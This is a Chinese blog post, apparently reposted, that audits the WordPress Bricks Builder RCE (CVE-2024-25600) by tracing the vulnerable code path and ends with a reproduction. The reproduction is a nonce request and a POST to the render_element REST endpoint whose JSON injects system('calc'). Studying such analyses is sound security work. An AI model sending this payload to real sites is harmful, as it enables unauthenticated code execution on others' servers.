CVE-2024-25600 WordPress Bricks Builder RCE-漏洞分析研究

2024-03-07 06:44

本文主要是介绍CVE-2024-25600 WordPress Bricks Builder RCE-漏洞分析研究,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

本次代码审计项目为PHP语言,我将继续以漏洞挖掘者的视角来分析漏洞的产生,调用与利用.....

前方高能,小伙伴们要真正仔细看咯.....

漏洞简介

CVE-2024-25600 是一个严重的(CVSS 评分 9.8)远程代码执行 (RCE) 漏洞,影响 WordPress 的 Bricks Builder 插件。成功利用此漏洞可能允许未经身份验证的攻击者在受影响的基于 WordPress 的网站上远程执行任意 PHP 代码。据报道,该漏洞已被广泛利用,包括尝试在易受攻击的服务器上安装基于 PHP 的恶意 Webshell。Bricks Builder 插件版本 1.9.6.1 或更高版本中已发布解决此漏洞的补丁。

Bricks Builder官方 Bricks – Visual Site Builder for WordPress

Bricks Builder官方参考文档Getting Started – Bricks Academy

漏洞官方公告Bricks 1.9.6.1 Changelog – Bricks

漏洞分析

先看触发漏洞的代码函数

位于\wp-content\themes\bricks\includes\query.php中346行

这段代码被涉及用来执行用户提交的 PHP 代码并返回执行结果

既然这样,就很大概率能够触发rce

向上分析参数是如何传递的,先分析参数$php_query_raw

$php_query_raw由bricks_render_dynamic_data( $query_vars['queryEditor'], $post_id );得到

可以追入bricks_render_dynamic_data 查看是否对数据进行了过滤处理

追入render_content方法

代码功底好的小伙伴 可以逐行分析下....

回到query.php 337行分析 $query_vars['queryEditor']参数的传递

$query_vars由传入的形参得来。右键find usages 找到调用这个方法(prepare_query_vars_from_settings)被调用的地方

优先考虑__construct方法,该方法会在实例化类时自动执行

在调用方法的代码行111行,向上分析

要想成功调用prepare_query_vars_from_settings方法成功需要

1.在element参数下setting参数下的query参数下,要有参数objectType

2.进入else语句块,$element['id']为空即可 (即不考虑这个参数)

3.在element参数下setting参数下的query参数下,设置参数queryEditor为我们rce代码

4.在element参数下setting参数下的query参数下,要有参数useQueryEditor

那么接下来继续向上分析方法调用(__construct方法的被调用)

逐个进行分析,要分析函数传递的参数是否为我们可控.....

我查看了render_data与render_elemet这两个方法似乎都不太行,但是在分析render_elemet这个方法得到看意外的收获。

....

来到ajax.php中该类在297行,有实例化l类 Query

向上分析参数的调用,重点参数$loop_elemet

在273行与289行之间 似乎时设置了ajax与rest api这两种请求方式。非ajax请求

element参数下没有参数loopElement,$loop_elemet将被置为false

296行的if语句也将为假,这里 new Query是执行不了的。那继续向下看吧,看看有什么线索

$element_class_name将是Element_Container类

在322行我们可以实例化对象, 不过只能对特定的类进行实例化

类似于白名单,我们只能对如下的类进行实例化

假如我们在参数element下设置了name=container,则会实例化Container类,(之前在查找__construct方法时有Container类这个结果,所有要对这个类非常的敏感)

先不急找调用者,分析element成员是否我们可控的

在ajax.php中render_element函数中,$element变量是我们可控的,在322行代码将这个变量赋予了实例化container类

分析下的它的构造函数

,跟入类Container的__construct 魔术方法(在继承的父类)

分析它对传入的$element做了什么处理。上图赋予了此类的的element变量,这也是我们想要看到的。

接下来就可以分析container类render方法的调用了

我们发现base类init方法调用了render方法(继承关系container可以调用此方法)

继续分析render_element函数对container对象又执行了那些操作,

container对象调用了init方法 这就使得我的RCE代码执行成功!

漏洞复现

先获取下nonce值

GET /WordPress-6.4.3/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate, br

发送payload

POST /WordPress-6.4.3/wp-json/bricks/v1/render_element HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 270
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
​
{"postId": "1","nonce": "b5b275220f","element": {"name": "container","settings": {"hasLoop": "","query": {"useQueryEditor": "","queryEditor": "system('calc');","objectType": ""}}}
}

 

这篇关于CVE-2024-25600 WordPress Bricks Builder RCE-漏洞分析研究的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/782668

相关文章

慢sql提前分析预警和动态sql替换-Mybatis-SQL

《慢sql提前分析预警和动态sql替换-Mybatis-SQL》为防止慢SQL问题而开发的MyBatis组件,该组件能够在开发、测试阶段自动分析SQL语句,并在出现慢SQL问题时通过Ducc配置实现动... 目录背景解决思路开源方案调研设计方案详细设计使用方法1、引入依赖jar包2、配置组件XML3、核心配

Java NoClassDefFoundError运行时错误分析解决

《JavaNoClassDefFoundError运行时错误分析解决》在Java开发中,NoClassDefFoundError是一种常见的运行时错误,它通常表明Java虚拟机在尝试加载一个类时未能... 目录前言一、问题分析二、报错原因三、解决思路检查类路径配置检查依赖库检查类文件调试类加载器问题四、常见

Python中的Walrus运算符分析示例详解

《Python中的Walrus运算符分析示例详解》Python中的Walrus运算符(:=)是Python3.8引入的一个新特性,允许在表达式中同时赋值和返回值,它的核心作用是减少重复计算,提升代码简... 目录1. 在循环中避免重复计算2. 在条件判断中同时赋值变量3. 在列表推导式或字典推导式中简化逻辑

Java程序进程起来了但是不打印日志的原因分析

《Java程序进程起来了但是不打印日志的原因分析》:本文主要介绍Java程序进程起来了但是不打印日志的原因分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Java程序进程起来了但是不打印日志的原因1、日志配置问题2、日志文件权限问题3、日志文件路径问题4、程序

Java字符串操作技巧之语法、示例与应用场景分析

《Java字符串操作技巧之语法、示例与应用场景分析》在Java算法题和日常开发中,字符串处理是必备的核心技能,本文全面梳理Java中字符串的常用操作语法,结合代码示例、应用场景和避坑指南,可快速掌握字... 目录引言1. 基础操作1.1 创建字符串1.2 获取长度1.3 访问字符2. 字符串处理2.1 子字

Python 迭代器和生成器概念及场景分析

《Python迭代器和生成器概念及场景分析》yield是Python中实现惰性计算和协程的核心工具,结合send()、throw()、close()等方法,能够构建高效、灵活的数据流和控制流模型,这... 目录迭代器的介绍自定义迭代器省略的迭代器生产器的介绍yield的普通用法yield的高级用法yidle

C++ Sort函数使用场景分析

《C++Sort函数使用场景分析》sort函数是algorithm库下的一个函数,sort函数是不稳定的,即大小相同的元素在排序后相对顺序可能发生改变,如果某些场景需要保持相同元素间的相对顺序,可使... 目录C++ Sort函数详解一、sort函数调用的两种方式二、sort函数使用场景三、sort函数排序

kotlin中const 和val的区别及使用场景分析

《kotlin中const和val的区别及使用场景分析》在Kotlin中,const和val都是用来声明常量的,但它们的使用场景和功能有所不同,下面给大家介绍kotlin中const和val的区别,... 目录kotlin中const 和val的区别1. val:2. const:二 代码示例1 Java

Go标准库常见错误分析和解决办法

《Go标准库常见错误分析和解决办法》Go语言的标准库为开发者提供了丰富且高效的工具,涵盖了从网络编程到文件操作等各个方面,然而,标准库虽好,使用不当却可能适得其反,正所谓工欲善其事,必先利其器,本文将... 目录1. 使用了错误的time.Duration2. time.After导致的内存泄漏3. jsO

Spring事务中@Transactional注解不生效的原因分析与解决

《Spring事务中@Transactional注解不生效的原因分析与解决》在Spring框架中,@Transactional注解是管理数据库事务的核心方式,本文将深入分析事务自调用的底层原理,解释为... 目录1. 引言2. 事务自调用问题重现2.1 示例代码2.2 问题现象3. 为什么事务自调用会失效3